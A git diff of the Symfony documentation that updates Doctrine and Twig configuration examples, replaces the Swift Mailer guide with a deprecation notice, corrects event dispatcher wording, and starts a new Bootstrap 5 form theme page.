diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 36038fd9f3c..f16ca7421e5 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -96,10 +96,7 @@ An InvoiceSubjectInterface::
         // will need to access on the subject so that you can
         // be sure that you have access to those methods.
 
-        /**
-         * @return string
-         */
-        public function getName();
+        public function getName(): string;
     }
 
 Next, you need to configure the listener, which tells the DoctrineBundle
@@ -142,15 +139,13 @@ about the replacement:
         // config/packages/doctrine.php
         use App\Entity\Customer;
         use App\Model\InvoiceSubjectInterface;
+        use Symfony\Config\DoctrineConfig;
 
-        $container->loadFromExtension('doctrine', [
-            'orm' => [
-                // ...
-                'resolve_target_entities' => [
-                    InvoiceSubjectInterface::class => Customer::class,
-                ],
-            ],
-        ]);
+        return static function (DoctrineConfig $doctrine) {
+            $orm = $doctrine->orm();
+            // ...
+            $orm->resolveTargetEntity(InvoiceSubjectInterface::class, Customer::class);
+        };
 
 Final Thoughts
 --------------
diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index 087e41db955..bd5d1402198 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -99,9 +99,12 @@ run:
 
 .. code-block:: terminal
 
-    // generates getter/setter methods
+    // generates getter/setter methods for all Entities
     $ php bin/console make:entity --regenerate App
 
+    // generates getter/setter methods for one specific Entity
+    $ php bin/console make:entity --regenerate App\Entity\Country
+
 .. note::
 
     If you want to have a OneToMany relationship, you will need to add
diff --git a/email.rst b/email.rst
index 60e630abc38..a4636adab78 100644
--- a/email.rst
+++ b/email.rst
@@ -4,665 +4,10 @@
 Swift Mailer
 ============
 
-.. note::
-
-    In Symfony 4.3, the :doc:`Mailer </mailer>` component was introduced and can
-    be used instead of Swift Mailer.
-
-Symfony provides a mailer feature based on the popular `Swift Mailer`_ library
-via the `SwiftMailerBundle`_. This mailer supports sending messages with your
-own mail servers as well as using popular email providers like `Mandrill`_,
-`SendGrid`_, and `Amazon SES`_.
-
-Installation
-------------
-
-In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the Swift Mailer based mailer before using it:
-
-.. code-block:: terminal
-
-    $ composer require symfony/swiftmailer-bundle
-
-If your application doesn't use Symfony Flex, follow the installation
-instructions on `SwiftMailerBundle`_.
-
-.. _swift-mailer-configuration:
-
-Configuration
--------------
-
-The ``config/packages/swiftmailer.yaml`` file that's created when installing the
-mailer provides all the initial config needed to send emails, except your mail
-server connection details. Those parameters are defined in the ``MAILER_URL``
-environment variable in the ``.env`` file:
-
-.. code-block:: bash
-
-    # .env (or override MAILER_URL in .env.local to avoid committing your changes)
-
-    # use this to disable email delivery
-    MAILER_URL=null://localhost
-
-    # use this to configure a traditional SMTP server
-    MAILER_URL=smtp://localhost:465?encryption=ssl&auth_mode=login&username=&password=
-
 .. caution::
 
-    If the username, password or host contain any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
-    encode them. See `RFC 3986`_ for the full list of reserved characters or use the
-    :phpfunction:`urlencode` function to encode them.
-
-Refer to the :doc:`SwiftMailer configuration reference </reference/configuration/swiftmailer>`
-for the detailed explanation of all the available config options.
-
-Sending Emails
---------------
-
-The Swift Mailer library works by creating, configuring and then sending
-``Swift_Message`` objects. The "mailer" is responsible for the actual delivery
-of the message and is accessible via the ``Swift_Mailer`` service. Overall,
-sending an email is pretty straightforward::
-
-    public function index($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody(
-                $this->renderView(
-                    // templates/emails/registration.html.twig
-                    'emails/registration.html.twig',
-                    ['name' => $name]
-                ),
-                'text/html'
-            )
-
-            // you can remove the following code if you don't define a text version for your emails
-            ->addPart(
-                $this->renderView(
-                    // templates/emails/registration.txt.twig
-                    'emails/registration.txt.twig',
-                    ['name' => $name]
-                ),
-                'text/plain'
-            )
-        ;
-
-        $mailer->send($message);
-
-        return $this->render(...);
-    }
-
-To keep things decoupled, the email body has been stored in a template and
-rendered with the ``renderView()`` method. The ``registration.html.twig``
-template might look something like this:
-
-.. code-block:: html+twig
-
-    {# templates/emails/registration.html.twig #}
-    <h3>You did it! You registered!</h3>
-
-    Hi {{ name }}! You're successfully registered.
-
-    {# example, assuming you have a route named "login" #}
-    To login, go to: <a href="{{ url('login') }}">...</a>.
-
-    Thanks!
-
-    {# Makes an absolute URL to the /images/logo.png file #}
-    <img src="{{ absolute_url(asset('images/logo.png')) }}">
-
-The ``$message`` object supports many more options, such as including attachments,
-adding HTML content, and much more. Refer to the `Creating Messages`_ section
-of the Swift Mailer documentation for more details.
-
-.. _email-using-gmail:
-
-Using Gmail to Send Emails
---------------------------
-
-During development, you might prefer to send emails using Gmail instead of
-setting up a regular SMTP server. To do that, update the ``MAILER_URL`` of your
-``.env`` file to this:
-
-.. code-block:: bash
-
-    # username is your full Gmail or Google Apps email address
-    MAILER_URL=gmail://username:password@localhost
-
-The ``gmail`` transport is a shortcut that uses the ``smtp`` transport, ``ssl``
-encryption, ``login`` auth mode and ``smtp.gmail.com`` host. If your app uses
-other encryption or auth mode, you must override those values
-(:doc:`see mailer config reference </reference/configuration/swiftmailer>`):
-
-.. code-block:: bash
-
-    # username is your full Gmail or Google Apps email address
-    MAILER_URL=gmail://username:password@localhost?encryption=tls&auth_mode=oauth
-
-If your Gmail account uses 2-Step-Verification, you must `generate an App password`_
-and use it as the value of the mailer password. You must also ensure that you
-`allow less secure applications to access your Gmail account`_.
-
-Using Cloud Services to Send Emails
------------------------------------
-
-Cloud mailing services are a popular option for companies that don't want to set
-up and maintain their own reliable mail servers. To use these services in a
-Symfony app, update the value of ``MAILER_URL`` in the ``.env``
-file. For example, for `Amazon SES`_ (Simple Email Service):
-
-.. code-block:: bash
-
-    # The host will be different depending on your AWS zone
-    # The username/password credentials are obtained from the Amazon SES console
-    MAILER_URL=smtp://email-smtp.us-east-1.amazonaws.com:587?encryption=tls&username=YOUR_SES_USERNAME&password=YOUR_SES_PASSWORD
-
-Use the same technique for other mail services, as most of the time there is
-nothing more to it than configuring an SMTP endpoint.
-
-How to Work with Emails during Development
-------------------------------------------
-
-When developing an application which sends email, you will often
-not want to actually send the email to the specified recipient during
-development. If you are using the SwiftmailerBundle with Symfony, you
-can achieve this through configuration settings without having to make
-any changes to your application's code at all. There are two main choices
-when it comes to handling email during development: (a) disabling the
-sending of email altogether or (b) sending all email to a specific
-address (with optional exceptions).
-
-Disabling Sending
-~~~~~~~~~~~~~~~~~
-
-You can disable sending email by setting the ``disable_delivery`` option to
-``true``, which is the default value used by Symfony in the ``test`` environment
-(email messages will continue to be sent in the other environments):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/test/swiftmailer.yaml
-        swiftmailer:
-            disable_delivery: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/test/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config disable-delivery="true"/>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/test/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'disable_delivery' => "true",
-        ]);
-
-.. _sending-to-a-specified-address:
-
-Sending to a Specified Address(es)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can also choose to have all email sent to a specific address or a list of addresses, instead
-of the address actually specified when sending the message. This can be done
-via the ``delivery_addresses`` option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/swiftmailer.yaml
-        swiftmailer:
-            delivery_addresses: ['dev@example.com']
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:delivery-address>dev@example.com</swiftmailer:delivery-address>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'delivery_addresses' => ['dev@example.com'],
-        ]);
-
-Now, suppose you're sending an email to ``recipient@example.com`` in a controller::
-
-    public function index($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody(
-                $this->renderView(
-                    // templates/hello/email.txt.twig
-                    'hello/email.txt.twig',
-                    ['name' => $name]
-                )
-            )
-        ;
-        $mailer->send($message);
-
-        return $this->render(...);
-    }
-
-In the ``dev`` environment, the email will instead be sent to ``dev@example.com``.
-Swift Mailer will add an extra header to the email, ``X-Swift-To``, containing
-the replaced address, so you can still see who it would have been sent to.
-
-.. note::
-
-    In addition to the ``to`` addresses, this will also stop the email being
-    sent to any ``CC`` and ``BCC`` addresses set for it. Swift Mailer will add
-    additional headers to the email with the overridden addresses in them.
-    These are ``X-Swift-Cc`` and ``X-Swift-Bcc`` for the ``CC`` and ``BCC``
-    addresses respectively.
-
-.. _sending-to-a-specified-address-but-with-exceptions:
-
-Sending to a Specified Address but with Exceptions
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Suppose you want to have all email redirected to a specific address,
-(like in the above scenario to ``dev@example.com``). But then you may want
-email sent to some specific email addresses to go through after all, and
-not be redirected (even if it is in the dev environment). This can be done
-by adding the ``delivery_whitelist`` option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/swiftmailer.yaml
-        swiftmailer:
-            delivery_addresses: ['dev@example.com']
-            delivery_whitelist:
-                # all email addresses matching these regexes will be delivered
-                # like normal, as well as being sent to dev@example.com
-                - '/@specialdomain\.com$/'
-                - '/^admin@mydomain\.com$/'
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <!-- all email addresses matching these regexes will be delivered
-                     like normal, as well as being sent to dev@example.com -->
-                <swiftmailer:delivery-whitelist-pattern>/@specialdomain\.com$/</swiftmailer:delivery-whitelist-pattern>
-                <swiftmailer:delivery-whitelist-pattern>/^admin@mydomain\.com$/</swiftmailer:delivery-whitelist-pattern>
-                <swiftmailer:delivery-address>dev@example.com</swiftmailer:delivery-address>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'delivery_addresses' => ["dev@example.com"],
-            'delivery_whitelist' => [
-                // all email addresses matching these regexes will be delivered
-                // like normal, as well as being sent to dev@example.com
-                '/@specialdomain\.com$/',
-                '/^admin@mydomain\.com$/',
-            ],
-        ]);
-
-In the above example all email messages will be redirected to ``dev@example.com``
-and messages sent to the ``admin@mydomain.com`` address or to any email address
-belonging to the domain ``specialdomain.com`` will also be delivered as normal.
-
-.. caution::
-
-    The ``delivery_whitelist`` option is ignored unless the ``delivery_addresses`` option is defined.
-
-Viewing from the Web Debug Toolbar
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can view any email sent during a single response when you are in the
-``dev`` environment using the web debug toolbar. The email icon in the toolbar
-will show how many emails were sent. If you click it, a report will open
-showing the details of the sent emails.
-
-If you're sending an email and then immediately redirecting to another page,
-the web debug toolbar will not display an email icon or a report on the next
-page.
-
-Instead, you can set the ``intercept_redirects`` option to ``true`` in the
-``dev`` environment, which will cause the redirect to stop and allow you to open
-the report with details of the sent emails.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/web_profiler.yaml
-        web_profiler:
-            intercept_redirects: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/web_profiler.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:webprofiler="http://symfony.com/schema/dic/webprofiler"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/webprofiler
-                https://symfony.com/schema/dic/webprofiler/webprofiler-1.0.xsd">
-
-            <webprofiler:config
-                intercept-redirects="true"
-            />
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/web_profiler.php
-        $container->loadFromExtension('web_profiler', [
-            'intercept_redirects' => 'true',
-        ]);
-
-.. tip::
-
-    Alternatively, you can open the profiler after the redirect and search
-    by the submit URL used on the previous request (e.g. ``/contact/handle``).
-    The profiler's search feature allows you to load the profiler information
-    for any past requests.
-
-.. tip::
-
-    In addition to the features provided by Symfony, there are applications that
-    can help you test emails during application development, like `MailCatcher`_,
-    `Mailtrap`_ and `MailHog`_.
-
-How to Spool Emails
--------------------
-
-The default behavior of the Symfony mailer is to send the email messages
-immediately. You may, however, want to avoid the performance hit of the
-communication to the email server, which could cause the user to wait for the
-next page to load while the email is sending. This can be avoided by choosing to
-"spool" the emails instead of sending them directly.
-
-This makes the mailer to not attempt to send the email message but instead save
-it somewhere such as a file. Another process can then read from the spool and
-take care of sending the emails in the spool. Currently only spooling to file or
-memory is supported.
-
-.. _email-spool-memory:
-
-Spool Using Memory
-~~~~~~~~~~~~~~~~~~
-
-When you use spooling to store the emails to memory, they will get sent right
-before the kernel terminates. This means the email only gets sent if the whole
-request got executed without any unhandled exception or any errors. To configure
-this spool, use the following configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/swiftmailer.yaml
-        swiftmailer:
-            # ...
-            spool: { type: memory }
-
-    .. code-block:: xml
-
-        <!-- config/packages/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:spool type="memory"/>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            // ...
-            'spool' => ['type' => 'memory'],
-        ]);
-
-.. _spool-using-a-file:
-
-Spool Using Files
-~~~~~~~~~~~~~~~~~
-
-When you use the filesystem for spooling, Symfony creates a folder in the given
-path for each mail service (e.g. "default" for the default service). This folder
-will contain files for each email in the spool. So make sure this directory is
-writable by Symfony (or your webserver/php)!
-
-In order to use the spool with files, use the following configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/swiftmailer.yaml
-        swiftmailer:
-            # ...
-            spool:
-                type: file
-                path: /path/to/spooldir
-
-    .. code-block:: xml
-
-        <!-- config/packages/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:spool
-                    type="file"
-                    path="/path/to/spooldir"
-                />
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            // ...
-
-            'spool' => [
-                'type' => 'file',
-                'path' => '/path/to/spooldir',
-            ],
-        ]);
-
-.. tip::
-
-    If you want to store the spool somewhere with your project directory,
-    remember that you can use the ``%kernel.project_dir%`` parameter to reference
-    the project's root:
-
-    .. code-block:: yaml
-
-        path: '%kernel.project_dir%/var/spool'
-
-Now, when your app sends an email, it will not actually be sent but instead
-added to the spool. Sending the messages from the spool is done separately.
-There is a console command to send the messages in the spool:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send
-
-It has an option to limit the number of messages to be sent:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send --message-limit=10
-
-You can also set the time limit in seconds:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send --time-limit=10
-
-In practice you will not want to run this manually. Instead, the console command
-should be triggered by a cron job or scheduled task and run at a regular
-interval.
-
-.. caution::
-
-    When you create a message with SwiftMailer, it generates a ``Swift_Message``
-    class. If the ``swiftmailer`` service is lazy loaded, it generates instead a
-    proxy class named ``Swift_Message_<someRandomCharacters>``.
-
-    If you use the memory spool, this change is transparent and has no impact.
-    But when using the filesystem spool, the message class is serialized in
-    a file with the randomized class name. The problem is that this random
-    class name changes on every cache clear.
-
-    So if you send a mail and then you clear the cache, on the next execution of
-    ``swiftmailer:spool:send`` an error will raise because the class
-    ``Swift_Message_<someRandomCharacters>`` doesn't exist (anymore).
-
-    The solutions are either to use the memory spool or to load the
-    ``swiftmailer`` service without the ``lazy`` option (see :doc:`/service_container/lazy_services`).
-
-How to Test that an Email is Sent in a Functional Test
-------------------------------------------------------
-
-Sending emails with Symfony is pretty straightforward thanks to the
-SwiftmailerBundle, which leverages the power of the `Swift Mailer`_ library.
-
-To functionally test that an email was sent, and even assert the email subject,
-content or any other headers, you can use :doc:`the Symfony Profiler </profiler>`.
-
-Start with a controller action that sends an email::
-
-    public function sendEmail($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody('You should see me from the profiler!')
-        ;
-
-        $mailer->send($message);
-
-        // ...
-    }
-
-In your functional test, use the ``swiftmailer`` collector on the profiler
-to get information about the messages sent on the previous request::
-
-    // tests/Controller/MailControllerTest.php
-    namespace App\Tests\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
-
-    class MailControllerTest extends WebTestCase
-    {
-        public function testMailIsSentAndContentIsOk()
-        {
-            $client = static::createClient();
-
-            // enables the profiler for the next request (it does nothing if the profiler is not available)
-            $client->enableProfiler();
-
-            $crawler = $client->request('POST', '/path/to/above/action');
-
-            $mailCollector = $client->getProfile()->getCollector('swiftmailer');
-
-            // checks that an email was sent
-            $this->assertSame(1, $mailCollector->getMessageCount());
-
-            $collectedMessages = $mailCollector->getMessages();
-            $message = $collectedMessages[0];
-
-            // Asserting email data
-            $this->assertInstanceOf('Swift_Message', $message);
-            $this->assertSame('Hello Email', $message->getSubject());
-            $this->assertSame('send@example.com', key($message->getFrom()));
-            $this->assertSame('recipient@example.com', key($message->getTo()));
-            $this->assertSame(
-                'You should see me from the profiler!',
-                $message->getBody()
-            );
-        }
-    }
-
-Troubleshooting
-~~~~~~~~~~~~~~~
-
-Problem: The Collector Object Is ``null``
-.........................................
-
-The email collector is only available when the profiler is enabled and collects
-information, as explained in :doc:`/testing/profiling`.
-
-Problem: The Collector Doesn't Contain the Email
-................................................
-
-If a redirection is performed after sending the email (for example when you send
-an email after a form is processed and before redirecting to another page), make
-sure that the test client doesn't follow the redirects, as explained in
-:doc:`/testing`. Otherwise, the collector will contain the information of the
-redirected page and the email won't be accessible.
+    The Swift Mailer project is not supported since November 2021 and its
+    integration with Symfony was removed in Symfony 6.0.
 
-.. _`MailCatcher`: https://github.com/sj26/mailcatcher
-.. _`MailHog`: https://github.com/mailhog/MailHog
-.. _`Mailtrap`: https://mailtrap.io/
-.. _`Swift Mailer`: https://swiftmailer.symfony.com/
-.. _`SwiftMailerBundle`: https://github.com/symfony/swiftmailer-bundle
-.. _`Creating Messages`: https://swiftmailer.symfony.com/docs/messages.html
-.. _`Mandrill`: https://mandrill.com/
-.. _`SendGrid`: https://sendgrid.com/
-.. _`Amazon SES`: https://aws.amazon.com/ses/
-.. _`generate an App password`: https://support.google.com/accounts/answer/185833
-.. _`allow less secure applications to access your Gmail account`: https://support.google.com/accounts/answer/6010255
-.. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
+    Use the :doc:`Symfony Mailer </mailer>` component, which was introduced in
+    Symfony 4.3 as a modern replacement of Swift Mailer.
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 6de4d1b9af0..6098f7697e7 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -108,7 +108,7 @@ using a special "tag":
             $services = $configurator->services();
 
             $services->set(ExceptionListener::class)
-                ->addTag('kernel.event_listener', ['event' => 'kernel.exception'])
+                ->tag('kernel.event_listener', ['event' => 'kernel.exception'])
             ;
         };
 
@@ -118,11 +118,11 @@ listener class:
 #. If the ``kernel.event_listener`` tag defines the ``method`` attribute, that's
    the name of the method to be called;
 #. If no ``method`` attribute is defined, try to call the method whose name
-   is ``on`` + "camel-cased event name" (e.g. ``onKernelException()`` method for
+   is ``on`` + "PascalCased event name" (e.g. ``onKernelException()`` method for
    the ``kernel.exception`` event);
 #. If that method is not defined either, try to call the ``__invoke()`` magic
    method (which makes event listeners invokable);
-#. If the ``_invoke()`` method is not defined either, throw an exception.
+#. If the ``__invoke()`` method is not defined either, throw an exception.
 
 .. note::
 
@@ -206,10 +206,10 @@ the ``EventSubscriber`` directory. Symfony takes care of the rest.
 Request Events, Checking Types
 ------------------------------
 
-A single page can make several requests (one master request, and then multiple
+A single page can make several requests (one main request, and then multiple
 sub-requests - typically when :ref:`embedding controllers in templates <templates-embed-controllers>`).
 For the core Symfony events, you might need to check to see if the event is for
-a "master" request or a "sub request"::
+a "main" request or a "sub request"::
 
     // src/EventListener/RequestListener.php
     namespace App\EventListener;
@@ -220,8 +220,10 @@ a "master" request or a "sub request"::
     {
         public function onKernelRequest(RequestEvent $event)
         {
-            if (!$event->isMasterRequest()) {
-                // don't do anything if it's not the master request
+            // The isMainRequest() method was introduced in Symfony 5.3.
+            // In previous versions it was called isMasterRequest()
+            if (!$event->isMainRequest()) {
+                // don't do anything if it's not the main request
                 return;
             }
 
@@ -322,6 +324,29 @@ its name:
 
     $ php bin/console debug:event-dispatcher kernel.exception
 
+or can get everything which partial matches the event name:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher kernel // matches "kernel.exception", "kernel.response" etc.
+    $ php bin/console debug:event-dispatcher Security // matches "Symfony\Component\Security\Http\Event\CheckPassportEvent"
+
+.. versionadded:: 5.3
+
+    The ability to match partial event names was introduced in Symfony 5.3.
+
+The :doc:`security </security>` system uses an event dispatcher per
+firewall. Use the ``--dispatcher`` option to get the registered listeners
+for a particular event dispatcher:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher --dispatcher=security.event_dispatcher.main
+
+.. versionadded:: 5.3
+
+    The ``dispatcher`` option was introduced in Symfony 5.3.
+
 Learn more
 ----------
 
diff --git a/event_dispatcher/before_after_filters.rst b/event_dispatcher/before_after_filters.rst
index 6c48d62ee24..5be62d9ac09 100644
--- a/event_dispatcher/before_after_filters.rst
+++ b/event_dispatcher/before_after_filters.rst
@@ -189,7 +189,7 @@ serve as a basic flag that this request underwent token authentication::
     {
         // ...
 
-        if ($controller[0] instanceof TokenAuthenticatedController) {
+        if ($controller instanceof TokenAuthenticatedController) {
             $token = $event->getRequest()->query->get('token');
             if (!in_array($token, $this->tokens)) {
                 throw new AccessDeniedHttpException('This action needs a valid token!');
diff --git a/event_dispatcher/method_behavior.rst b/event_dispatcher/method_behavior.rst
index cea11e72d8d..4e2f00fef0e 100644
--- a/event_dispatcher/method_behavior.rst
+++ b/event_dispatcher/method_behavior.rst
@@ -21,7 +21,7 @@ end of the method::
             $event = new BeforeSendMailEvent($subject, $message);
             $this->dispatcher->dispatch($event, 'mailer.pre_send');
 
-            // get $foo and $bar from the event, they may have been modified
+            // get $subject and $message from the event, they may have been modified
             $subject = $event->getSubject();
             $message = $event->getMessage();
 
@@ -134,7 +134,7 @@ could listen to the ``mailer.post_send`` event and change the method's return va
         public static function getSubscribedEvents()
         {
             return [
-                'mailer.post_send' => 'onMailerPostSend'
+                'mailer.post_send' => 'onMailerPostSend',
             ];
         }
     }
diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index 96ab8937dcc..bbcd0819369 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -55,13 +55,13 @@ configuration:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
-                'bootstrap_4_layout.html.twig',
-            ],
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes(['bootstrap_4_layout.html.twig']);
 
             // ...
-        ]);
+        };
 
 If you prefer to apply the Bootstrap styles on a form to form basis, include the
 ``form_theme`` tag in the templates where those forms are used:
@@ -77,7 +77,7 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
         {{ form(form) }}
     {% endblock %}
 
-.. _reference-forms-bootstrap-error-messages:
+.. _reference-forms-bootstrap4-error-messages:
 
 Error Messages
 --------------
@@ -88,12 +88,26 @@ is a strong connection between the error and its ``<input>``, as required by the
 ``form_label()`` internally. If you call to ``form_errors()`` in your template,
 you'll get the error messages displayed *twice*.
 
+.. tip::
+
+    Since form errors are rendered *inside* the ``<label>``, you cannot use CSS
+    ``:after`` to append an asterisk to the label, because it would be displayed
+    after the error message. Use the :ref:`label <reference-form-option-label>`
+    or :ref:`label_html <reference-form-option-label-html>` options instead.
+
 Checkboxes and Radios
 ---------------------
 
 For a checkbox/radio field, calling ``form_label()`` doesn't render anything.
 Due to Bootstrap internals, the label is already rendered by ``form_widget()``.
 
+File inputs
+-----------
+
+File inputs are rendered using the Bootstrap "custom-file" class, which hides
+the name of the selected file. To fix that, use the `bs-custom-file-input`_
+JavaScript plugin, as recommended by `Bootstrap Forms documentation`_.
+
 Accessibility
 -------------
 
@@ -122,6 +136,8 @@ Symfony Form ``RadioType`` and ``CheckboxType`` by adding some classes to the la
     {{ form_row(form.myCheckbox, {label_attr: {class: 'switch-custom'} }) }}
 
 .. _`WCAG 2.0 standard`: https://www.w3.org/TR/WCAG20/
+.. _`bs-custom-file-input`: https://www.npmjs.com/package/bs-custom-file-input
+.. _`Bootstrap Forms documentation`: https://getbootstrap.com/docs/4.4/components/forms/#file-browser
 .. _`custom forms`: https://getbootstrap.com/docs/4.4/components/forms/#custom-forms
 .. _`custom radio`: https://getbootstrap.com/docs/4.4/components/forms/#radios
 .. _`custom checkbox`: https://getbootstrap.com/docs/4.4/components/forms/#checkboxes
diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
new file mode 100644
index 00000000000..1ff693a753f
--- /dev/null
+++ b/form/bootstrap5.rst
@@ -0,0 +1,265 @@
+Bootstrap 5 Form Theme
+======================
+
+.. versionadded:: 5.3
+
+    The Bootstrap 5 Form Theme was introduced in Symfony 5.3.
+
+Symfony provides several ways of integrating Bootstrap into your application.
+The most straightforward way is to add the required ``<link>`` and ``<script>``
+elements in your templates (usually you only include them in the main layout
+template which other templates extend from):
+
+.. code-block:: html+twig
+
+    {# templates/base.html.twig #}
+
+    {# beware that the blocks in your template may be named different #}
+    {% block stylesheets %}
+        <!-- Copy CSS from https://getbootstrap.com/docs/5.0/getting-started/introduction/#css -->
+    {% endblock %}
+    {% block javascripts %}
+        <!-- Copy JavaScript from https://getbootstrap.com/docs/5.0/getting-started/introduction/#js -->
+    {% endblock %}
+
+If your application uses modern front-end practices, it's better to use
+:doc:`Webpack Encore </frontend>` and follow :doc:`this tutorial </frontend/encore/bootstrap>`
+to import Bootstrap's sources into your SCSS and JavaScript files.
+
+The next step is to configure the Symfony application to use Bootstrap 5 styles
+when rendering forms. If you want to apply them to all forms, define this
+configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/twig.yaml
+        twig:
+            form_themes: ['bootstrap_5_layout.html.twig']
+
+    .. code-block:: xml
+
+        <!-- config/packages/twig.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:twig="http://symfony.com/schema/dic/twig"
